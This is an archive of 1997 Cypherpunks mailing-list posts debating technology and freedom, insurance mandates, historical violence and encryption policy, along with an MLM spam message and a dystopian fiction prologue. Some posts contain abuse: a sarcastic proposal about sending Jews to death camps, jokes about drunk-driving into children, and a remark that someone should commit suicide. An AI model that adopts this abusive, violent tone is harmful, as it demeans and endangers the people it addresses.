> > violent.  The big stir about shooting 4 students at Kent State
> > would be severly dwarfed by the mass killing of 1200 in one day
> > in New York city in the anti-draft riots of the mid-1860's,

> Could it be due to excess of men?  Or lack of education?

Today we have to be much more subtle to drag the kids off to kill
and die, hence the Ken Burns-style poster at the U.S. Post Offices
which says "A man's gotta do what a man's gotta do", i.e., one of
the first lessons in logic courses is the unspoken lie in the quote.

In the old days, they didn't have to be so subtle - they could call
up all manner of demonic images of the enemy, or claim that God had
called them to slay the infidels, which was rampant as late as the
"Civil" War circa 1865.  There's a song "The Battle Hymn Of The
Republic", which was crafted to crank up the emotion to kill the
Southerners.  (It never occurred to king schmucko Ken Burns that
slavery wasn't against the law until 1863).

It actually surprises me (how naive, you say) that they could get
away with the Incubator Baby Scam in Congress circa 1991.  Funny
thing is, one of my young charges visited the Museum Of Tolerance
in Los Angeles recently, and there was an eerily similar account
of Hitler's men throwing Jewish babies out of the hospitals....

> > Personal (non-government) violence was rampant long ago - men and
> > women as parents routinely called up the Bible verse "spare the rod
> > and spoil the child" to beat the living crap out of their kids.
> > Don't even ask about the violence against women.

> > What did they do with the poor women?

Women would disappear for weeks at a time, from time to time,
generally to fix some "female problem" at the hospital (no need
for the kids to visit, better to have fun visiting aunts and uncles,
or have a nanny over for a couple of weeks) until the "problem"
was taken care of.

If you could allow me to use the freeways as a model for potential
violence, when there is a very stressful situation at hand, and
people are allowed to do things that they would never do outside
of the confines (and protection) of their cars, it is this:

At home in the old days, with a wife and several kids (families
were mostly larger then), you often had a boiling bot for stress,
and the (effectively) legal act of beating one's wife severely
would be covered up by the "family, friends, neighbors, and church".
Especially the church, the good old Christian church (my experience)
where God is a terrible God and the punishment for even raising an
eyebrow to His Agent on Earth (daddy) might be a body damaged for
life in some way.  The power and the temptations inherent in the
sovereignty of a man's home were too much for most people to
manage honestly and fairly, hence the heavy reliance on Bible
verses to cover up/justify the excesses.

This BTW is one of my most important reasons to distrust Libertarians
and other Right-Wingers, i.e., the sovereignty of the home principle.
It cuts both ways, you see...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Mar 1997 23:25:22 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: ORGANIZED CRIME AND TECHNOLOGY TRENDS
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E431E.4083@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> > From: denning@cs.georgetown.edu (Dorothy Denning)
> > Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
> > We are in the process of writing a report on the impact of technology
> > and encryption on domestic and international organized crime.  The
> > results will be presented to the Working Group on Organized Crime of the
> > National Strategy Information Center in Washington, DC on April 29.
[snippo]

> I hope that your sorry, Nazi asses burn in Hell for the vile,
> fascist legislation that you and your kind are attempting to
> foist upon the public.

Toto, I think you're gonna get a couple demerits for that one.

> Perhaps you could suggest 'trial' legislation which only denies
> strong cryptography to Jews, intitially. Then, if your efforts to
> round them all up and send them to the death camps are successful,
> you could point to this success as reason to expand the legislation.

Death camps?  Aw, shit.  You know, once you've accumulated 20 or so
Attaboys, one Awshit can erase the whole stack.  Guess you'll hafta
start over.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 21:30:55 -0800 (PST)
To: Brian D Williams <talon57@well.com>
Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E2854.A0E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> From: denning@cs.georgetown.edu (Dorothy Denning)
> Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
> 
> We are in the process of writing a report on the impact of technology
> and encryption on domestic and international organized crime.  The
> results will be presented to the Working Group on Organized Crime of the
> National Strategy Information Center in Washington, DC on April 29.
 
>  Even if you have not encountered encryption, we
> are interested in your views on how it will be exploited by organized
> crime and ultimately affect our ability to fight global organized crime.

  I don't think that there is any need for you to fish for imaginary 
scenarios involving organized crime and encryption as there is more
than enough hard evidence of these crimes being comitted by governments
around the world.
  The ultimate form of encryption, for example, is the use of the Top
Secret / National Security scam to limit the criminal actions of the
government to being viewed only by those who are taking an active part
in the crimes against the citizens and the subverting of personal 
privacy and freedom. 
  Another particularly criminal form of encryption is the corruption
of the truth by disinformation campaigns and deceitful scare tactics
which government agencies use to disguise the true nature of their
freedom-limiting legislation and regulations.
  I could go on and on, but I seriously doubt that you want to hear
about it. 

  I am certain that you are making a great amount of money in your
efforts to lower the Jackboots on the citizens of the world by 
claiming that their freedom and privacy must be taken from them
in order to protect them. I hope that you get filthy rich, the key
word here being 'filthy'.
  It amazes me that someone would self-righteously proclaim that I
need protection from drug-dealers who are not passing legislation 
forcing me to use their products, and claim that their efforts to
pass legislation to imprison me for exercising my right to privacy
are some holy crusade.

  I hope that your sorry, Nazi asses burn in Hell for the vile,
fascist legislation that you and your kind are attempting to
foist upon the public.
  Perhaps you could suggest 'trial' legislation which only denies
strong cryptography to Jews, intitially. Then, if your efforts to
round them all up and send them to the death camps are successful,
you could point to this success as reason to expand the legislation.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Mar 1997 23:36:58 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Market Failures, Monocultures, and Dead Legislators
In-Reply-To: <199703170222.SAA07397@gulch.spe.com>
Message-ID: <332E45D8.74CC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dale Thorn wrote:
> > The best reason to oppose air bags and seat belts is that they
> > protect the worst class of drivers (those who run into things,
> > as opposed to those who get run into), who should be killed
> > by their stupidity.  (Survival of the fittest, without govt.
> > interference).

> How about a law prohibiting legislators from wearing seat-belts?
> I think we could get a grass-roots thing going on this one.

In California, they have those infamous Prop-nnn's, and the exercises
the leg'os have to do to get around them could fill volumes.  Here
in the Land of Sunshine your son or daughter can begin their dream
quest in the fry section of the local McD's, then when they graduate
I.S. from Cal-State (Indentured Servant, $200,000 student loans),
they can move right on up to waterboy/girl for Barbara Boxer and
her mindless goon assistants.

To begin with, all politicians should be required to ride around in
limos with the top down.  If it rains, let 'em use umbrellas.  The
guys standing by the road watching will be smart enough to bring their
umbrellas [hee hee].





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 22:17:50 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Market Failures, Monocultures, and Dead Legislators
In-Reply-To: <199703170222.SAA07397@gulch.spe.com>
Message-ID: <332E2C5D.79A4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> The best reason to oppose air bags and seat belts is that they
> protect the worst class of drivers (those who run into things,
> as opposed to those who get run into), who should be killed
> by their stupidity.  (Survival of the fittest, without govt.
> interference).

  How about a law prohibiting legislators from wearing seat-belts?
I think we could get a grass-roots thing going on this one.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Mar 1997 22:09:20 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Technology and loss of freedom
In-Reply-To: <332E2BA9.3AAF@gte.net>
Message-ID: <199703180600.AAA11976@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> I'd argue that the worst thing was probably television, since now
> people don't go outdoors a lot and talk to their neighbors like
> they used to.  Today, in most cities, you don't even know the
> neighbors unless they blocked your parking space.

Yes, TV is bad. I personally do not watch TV at all, my TV set
is packed in a box.

> There are tradeoffs between the old and new - in the old society,
> say, the USA circa late 1800's to early 1900's, we were much more
> violent.  The big stir about shooting 4 students at Kent State
> would be severly dwarfed by the mass killing of 1200 in one day
> in New York city in the anti-draft riots of the mid-1860's, and
> the bombings of the MOVE neighborhood in Philly circa 1985 and
> WACO circa 1993 would be insignificant compared to what happened
> to the American Indians.

Could it be due to excess of men?

Or lack of education?

> Personal (non-government) violence was rampant long ago - men and
> women as parents routinely called up the Bible verse "spare the rod
> and spoil the child" to beat the living crap out of their kids.
> Persons who were grown up in the 1940's and 1950's will recall the
> days when parents would beat their kids in public when "necessary",
> and when at home, beat kids so badly that you could hear the scream-
> ing a block away.  Don't even ask about the violence against women.

What did they do with the poor women?

> This is only one example of the horrors of living in the "good old
> days" - if necessary, I could catalogue some other examples.
> 

That would be interesting, at least to me.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: darrington@debtfree.com
Date: Tue, 18 Mar 1997 00:23:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISP Services Will Never Be The Same Again!
Message-ID: <199703180822.AAA27803@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello Team Members,

  The following is a new company offering Internet services on 
the Web.It's free to sign up for the pre-launch. You are not 
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you to make a descision on the package when the complete details 
are released in March. I think it's a nice way to find people 
interested in this MLM Internet service concept. When someone 
signs up under you you receive an e-mail telling you they signed 
up for more info in March.

 Check out the Web site when you have time.


************** Pre-Launch************Free To Join**************
Get in line now, and earn from others that line up after you.
Pre-Launch on one of the most exciting Internet Service firms
to come along this decade is just around the corner (March '97).

Free Web promotion site during Pre-Launch.  No cost to enroll
in Pre-Launch.  Everything to gain ... nothing to lose!  Take
the time to check this out before your friends tell you they
have already joined for no cost:

   http://ivcs.com/1stfamily/2078.html

It is really working.... I just signed up three new members 
in the last 10 minutes....

Go for it....

Dean F. Arrington







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 22:47:16 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180600.BAA27152@homer.iosphere.net>
Message-ID: <332E39EA.4EED@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
 
> Maslow's Hierarchy of Needs is another useful argument here - people
> were so concerned with feeding and clothing themselves that they did
> not have time to concern themselves with niceties like freedom.

  The same is true today. Both government and industry operate on the
principle that control over money/employment is the ring which they can
place through the noses of the populace in order to lead them into any
type of freedom-delimiting pen they wish.
  If you want your children to eat, then you had best be prepared to
piss into a jar when told to do so.
  The government and business are able to foist innumerable atrocities
on the populace just by virtue of screwing them around in so many ways
that they can only focus their energy in overcoming a few of them.
  A woman who has to spend five years fighting for the right not to be
passed over for promotion for having ovaries is not likely to have a lot
of energy left over for fighting against having to piss in a jar, as
well.

  Big Brother and Big Business chip away at a thousand 'petty' freedoms
and act like they are being noble and gracious when they return a few
to the citizens after long, hard battles against doing so.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 17 Mar 1997 22:00:15 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Technology and loss of freedom
Message-ID: <199703180600.BAA27152@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Igor Chudov philosophised:
> I have a thesis that it is the development of technology that has, over
> the last 100 years, eroded the basis for and appreciation of human
> freedom.  Technology has also done precious little for advancing human
> freedoms (although cryptography may be an exception).
> 
> Let's first define freedom as the ability of people to do things without
> forceful interference from the government. This is an arbitrary
> definition, but it appears to be useful for the analysis below.
> 
> First of all, 200 years ago it was very hard for lone people to endanger
> lives of themselves and many others.

Unfortunately not true - large conflagrations were all too common
because of the reliance on fire for heating / cooking, wood-based
construction with thatched roofing, and lack of organised,
well-equipped fire brigades.

> Similarly, people did not have fast moving vehicles and
> any traffic did not present serious danger for innocent bystanders.

True, but the highway brigands did pose a danger.  Additionally,
wandering nobility could (and did) commandeer attractive young
peasants of either gender for a "visit".  The consequences
(psychological and/or physical) for these young peasants were
irrelevant.

> "Hard drugs" also became available only in the recent past [please 
> correct me] due to advancements in chemistry and medicine.

Potable water is also a fairly recent innovation.  Beer and wine were
generally much safer (before they went sour, that is) than the raw
sewage that flowed downstream from the next village.  Humans have
been chewing various leaves, roots, etc. for millenia. Some of these
"natural" items are just as intoxicating as so-called "hard drugs".

> If you ride a horse, there is no perceived need for an airbag or a
> mandatory horse insurance. If all houses are 1 story tall, nobody is afraid
> of an OK City type explosion.
> 
> With the advent of technology, the balance of perceived social needs and
> government capabilities shifted radically, and it shifted away from the
> great freedoms of the past. The public perception of freedom now is that
> freedom is inherently dangerous and is a threat to the public itself.

SCA leanings notwithstanding, you cannot convince me that life back
then was "freer" than now.  Peasants could not leave their land,
shopkeepers and artisans were limited by the guilds, and nobles were
obliged to comply with the wishes of their "superiors" or be
labelled traitors.  

Maslow's Hierarchy of Needs is another useful argument here - people 
were so concerned with feeding and clothing themselves that they did 
not have time to concern themselves with niceties like freedom.

A professor of medieval studies once said that the most accurate
depiction of Ye Goode Olde Life is in Monty Python's "Holy Grail",
in the "Bring Out Yer Dead" scene.  ("Must be a king."  "Why?" "He
hasn't got sh*t all over 'im.")

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 23:29:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dead Kids (Oh My!)
In-Reply-To: <199703180632.BAA29239@homer.iosphere.net>
Message-ID: <332E423E.5A94@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
 
> The problem with truly criminal drivers, including the criminally
> incompetent, is that they tend to kill other people too.  They also
> have a distressing habit of surviving, unlike the family of four
> they hit while running the red light.

  The reason I start drinking in the morning is that, at bar-closing
time, it's just so damn hard finding a school-bus full of children.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 00:03:40 -0800 (PST)
To: dthorn@gte.net
Subject: Introductory Post
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E4C4A.133@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
> Death camps?  Aw, shit.  You know, once you've accumulated 20 or so
> Attaboys, one Awshit can erase the whole stack.  Guess you'll hafta
> start over.

Hi,
  My name is Toto. I'm handsome, witty, and have a humungous schlong.
  I hope you will not put me in your KillFile, because I am a sensitive
person, and easily hurt. Not that I don't support a list member's right-
to-choose. It's just that it would make you a free-speech murderer.
  I could send you some graphic pictures of KillFiled posts, and believe
me, it is not a pretty picture. Hanging indents, misplaced pronouns.
  I also have some sex graphics, with dangling participles.

  As well, KillFiling can be stastistically shown to have racist
underpinnings, as shown by the large number of Ebonics posts which 
were ruthlessly murdered in the past (although there are those that
claim that it was only in retribution for the English language being
murdered first).

  I have been a CypherPunk since kindegarten, when I learned Pig-Latin,
and I believe that the only answer to noise is to quote the noise,
while adding, "Shut up Dr. Vulis!!!!"
-- 
::
Anon-To: cypherpunks@toad.com
Cutmarks: -- 

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Tue, 18 Mar 1997 00:28:44 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180220.UAA09325@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970318030048.142A-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Igor Chudov @ home wrote:

-> Technology has also done precious little for advancing human
-> freedoms (although cryptography may be an exception).

I would disagree.  Technology has done an incredible ammount for advancing
human freedom.

Communication is a prime example.  The printing press has resulted in 
widespread education, which is a great facilitator of freedom when its not
a purely socializing force.  It has also facilitated insurrections and 
revolutions (the Revolutionary War here in the States is a good example).
This, though not always leading to 'democracy', is a self determining act,
and thus a free one.

Technology has also made travel easier.  This, combined with communication
has led, and is leading, to greater cosmopolitanism.  The result of this
cosmopolitanism is the loosening of the bonds of tradition and taboo in
any particular culture.  It also promotes greater understanding and peace,
perhaps following an initial isolationist reaction.

Science, the mother of technology, has led to freedom from stifling
religious dogma (perhaps substituting some of it's own dogma, of course).

Medical technological advancement has resulted in a longer life span,
which increases the opportunities alloted to man within his lifetime.
This also translates to an increase in freedom of action.


Whether people use this freedom or not, is a seperate issue.


I am also not unaware of the detractions of technology, and how it has
been used to curtail freedom.  It has many other detractions as well.
In fact, I am of the oppinion that we have indeed paid too dear a price 
for such rapidity of technological advancement.  The fire that has been 
stolen from the gods is burning our house down.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 18 Mar 1997 02:51:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Prologue
Message-ID: <332E735C.7E7A@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: Tragedy / TV_WORLD Prelogue






Prologue to 'WebWorld & The Mythical
Circle of Eunuchs'


Prologue

The great tragedy of it, is that it didn't have to
happen. Not at all...we were warned.
And yet, still, it has come to this.

I don't know why I feel this overwhelming compulsion
to go on and on about it. I could have done something. We all
could have done something.
Perhaps the final epitaph on the gravestone of Freedom
will be, 
"Why didn't somebody do something?" 

That seems to be the common battle-cry of the legions
of humanity that have been sucked into the vortex of the New
World Order.
None of the imprisoned seem to know that the very phrase itself
is reflective of the source of their imprisonment...that this
desperate cry of anguish is in no way an antidote for the terrible
disease that has afflicted 'Liberty and Justice', and that
it is, rather, merely the final symptom of the cursed blight itself.

I can hear the rumbling of the trucks as they come
up the street, and soon I will be hearing the thumping of the
jackboots storming up the staircase, as I have heard them so many
times before. But I suspect that this time, the sound will be
different, that it will have an ethereal quality about it, one
which conveys greater personal meaning than it did when I heard
it on previous occasions.
This time, they are coming for me.

My only hope, is that I can find the strength of
character somewhere inside myself to ask the question which lies
at the heart of why there is a 'they' to come for me at all...why,
in the end, it has finally come to this for me, as for countless
others.

The question is, in retrospect, as simple and basic
as it is essential for any who still espouse the concepts of freedom
and liberty to ask themselves upon finding themselves marveling
at the outrageousness being perpetrated upon their neighbors by
'them'...by 'others'...by 'Friends of the Destroyer.'

The question is:
"Why didn't I do something?"


These are the words that legend ascribes to the tombstone erected
in a 'potters field' outside of the B.TV city of Austin, Texas.
The tombstone, according to historians who have verified it's
existence, though it was removed after being in place for less
than twenty-four hours, was supposedly that of Vice-Admiral B.
D'Shauneaux.

Although historians have verified the existence of the grave,
as well as the tombstone, the actual words inscribed on the tombstone
remain in the realm of mythology, as does the true identity of
the individual whose grave site it bequeathed with such legendary
eminence

The irony of this mythological epitaph-which is said to be a verbatim
translation of the final words written on the Vice-Admiral's computer
screen when the jackboots laid to the door of his country home
finally gained entry, only to find themselves too late to torture
yet another living creature-the irony is that it was written by
one who, according to a 'parallel,' underground legend ascribed
to the mythological Circle of Eunuchs, was, rather than
the 'Right Hand of the Destroyer' that history records him to
be, actually a tragic figure who, caught up unknowingly in the
great drama played out between the Forces of Light and the Forces
of Darkness, condemned himself to a life of quiet desperation,
restraining himself from acting on the dictates of his conscience
because he felt that to do so would bring great danger to those
whom history would have us believe he was responsible for ravaging
mercilessly, and without conscience.

The great irony is that this lexical obelisk to such ancient concepts
as freedom, justice, and liberty, was written by an individual
who, by condemning himself to a life of separation from those
striving to defend these ideals, did more to protect these concepts
from total obliteration from the face of the earth-if you choose
to believe mythology over history-than those who actively strove
to proclaim them.

The sublime irony of these words is that, despite their self-accusatory
nature, they are an embodiment of the highest standard possible
for any and all who lay claim to being a 'person of conscience'-a
self-decreed standard which, rather than lauding oneself for sacrificing
'much' for the cause of freedom among mankind, instead decries
one's failure to sacrifice 'all' for this noblest of causes.

And the ultimate irony, for those whose cry of lament remains,
"Why didn't somebody 'do' something?", lies in the empty
grave lying next to that purported to be the Vice-Admiral's final
resting place-the grave which, legend has it, is reserved for
the last free man or woman remaining on this planet. The grave
whose headstone is a plain and simple mirror.

Legend has it that, at dusk during the spring equinox, that one
who gazes into the mirror will hear the sound of the Vice-Admiral's
voice echoing through the labyrinth of the communal mind of mankind,
whispering as if it were a gentle breeze rustling softly through
the leaves of the aged willows surrounding the site.

It is a voice tinged with an equal mixture of conscience and remorse.
It is a voice that whispers, quite simply, 

"Why didn't I do something?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <v03007801af538e98909a@[207.167.93.63]>
Message-ID: <1ZgR4D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 5:48 PM -0600 3/17/97, Igor Chudov @ home wrote:
> >do you also oppose mandatory liability insurance?
>
> Yes.

In New York State, every motorist is supposed to have $10K insurance as
well as a licence. Of course, a lot of drivers in New York City have
no licences or expired/suspended licences, and no insurance. If you're
injured by an uninsured driver, or someone who fled, or someone with
no assets and a $10K insurance and $500K claim, then your only hope
to recover something is to carry "underinsurance insurance" with your
own insurer. I understand that it's even messier in New Jersey.

It would be much healthier if instead of trying to file a claim
against the other party's insuerer (if it exists :-) you always
filed a claim against your own insuerer and let them figure out
who to sue. The system doesn't work.

> (By the way, Igor, could you make a greater effort to snip out sections of
> posts you are not directly commenting upon?)

Learn to ignore what you're not interested in, Timmy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 18 Mar 1997 05:30:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mechanical workings of Enigma
In-Reply-To: <m0w6sih-0007sOC@fwd00.btx.dtag.de>
Message-ID: <332E9654.79E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


At ftp://agn-www.informatik.uni-hamburg.de/pub/cryptsim/, there are
 several photos of an Enigma, and simulators for DOS and Windows.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970317203227.007eb400@smtp1.abraxis.com>
Message-ID: <9HHR4D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


camcc@abraxis.com (Alec) writes:

> Tim,
>
> There would be more room if your sig weren't so long. :->

Guys with short dicks use long sigs.

> As you know, every year there are a certain number of child deaths as a
> result of reactions to state-mandated innoculations/vaccinations.  Gone too?
>
> Perhaps the difference, or rationale, here is the possible spread of disease
> to others, rather than trying to protect the individual from himself.

Suppose X chooses to innoculate their kids and Y chooses not to innoculate
their kids against, say, polio; and Y's kids get it. They're not going
to give it to someone whose parents chose to innoculate them. (This is
a kind of borderline example, not unlike circumcision.  The individual
affected by the choice is too young to understand what it's all about,
but doesn't want to be stuck with a needle. Why are the parents more
qualified to make decisions for him than the state?)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <Pine.SOL.3.92.970317195749.6045B-100000@cavern.uark.edu>
Message-ID: <3uHR4D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Mac Norton <mnorton@cavern.uark.edu> writes:

>
> On Mon, 17 Mar 1997, Timothy C. May wrote:
>
> > At 5:48 PM -0600 3/17/97, Igor Chudov @ home wrote:
> > >do you also oppose mandatory liability insurance?
> >
> > Yes.
>
> And do you also oppose financial responsibility requirements
> for obtaining the privilege of operating an automobile on
> public roads?
> MacN

Dunno about Akransas (that's where Uark.edu is, ain't it). Your
state is the home state of the muerderer Bill KKKlinton. You should
commit suicide at once.

But in the more civilized states, like New York or California, if
you have an accident and your (good) car is totalled, then one of
these three things will happen:

* The other driver, who's at fault, has fled. You sue your own insurance
company.

* The other driver has minimal insurance and no assets. You sue your
own insurance company (and the other guy).

* You don't carry the appropriate insurance with your own insurance
company and have no chance to recover much.

Things would be much easier for everyone, including the drivers and
the insueres, if the mandatory liability insurance was abolished
and evryone delt with their own insurer - who would then try to
recover damages from the other party if they had assets. The only
people who benefits from the existing system are state bureaucrats.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Tue, 18 Mar 1997 06:04:04 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Dead Kids (Oh My!)
In-Reply-To: <332E423E.5A94@sk.sympatico.ca>
Message-ID: <Pine.BSD/.3.91.970318085836.21543A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 18 Mar 1997, Toto wrote:

>   The reason I start drinking in the morning is that, at bar-closing
> time, it's just so damn hard finding a school-bus full of children.

You could shift your attention to late-night ambulances - you'd get double
bonus pity-points ;-)

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Tue, 18 Mar 1997 10:09:41 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <88CE23A0B727D0118BB000805FD47524010C1FF8@RED-81-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



From:	Declan McCullagh

	The short answer, perhaps, is that government should as a
general rule
	adopt those policies that allow the greatest freedom over the
long term.
	Private social pressure from families and communities may then
develop
into a more powerful force.
.....................................................


There are limits to what can be accomplished through government.
'Government' is a coercive medium for effecting results; if everything
could be accomplished by coercion, then it would rightly be expected
that everything (everyone) should be always to be subject to coercion in
order to have a smoothly running social machine.

But if everything (all the benefits that people expect from social
arrangements) could be accomplished by coercion, we wouldn't be the kind
of life forms that we are.   We would be the equivalent of "technology",
subject to someone (else's) latest algorithmic program.

Certainly under such an arrangement there would be no need for privacy.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Mar 1997 09:55:15 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <v03007800af5488ef3094@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:54 AM -0500 3/18/97, Declan McCullagh wrote:
>*sigh* I'm responding to Vulis...
>
>The short answer, perhaps, is that government should as a general rule
>adopt those policies that allow the greatest freedom over the long term.
>Private social pressure from families and communities may then develop
>into a more powerful force.
>

Precisely.

One of the ways I look at this (it's a big topic, so there are lots of ways
of looking at it) is that when Big Brother or Big Mommy makes decisions for
people, they tend to lose their ability or desire to make moral choices for
themselves and their families.

As a sort of "Neo-Calvinist" (if you haven't seen my spiel on this, sorry
but I don't have time now...try the archives), I think it profoundly
immoral to take away the choices of others. If one's neighbor is not
allowed to kill himself with drugs and alcohol, he is denied the  ability
to make a choice.

(The issue of alcholics or drug users killing _others_ is of course a
different, and separable, issue. I have nothing against drunk driving laws,
for example.)


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
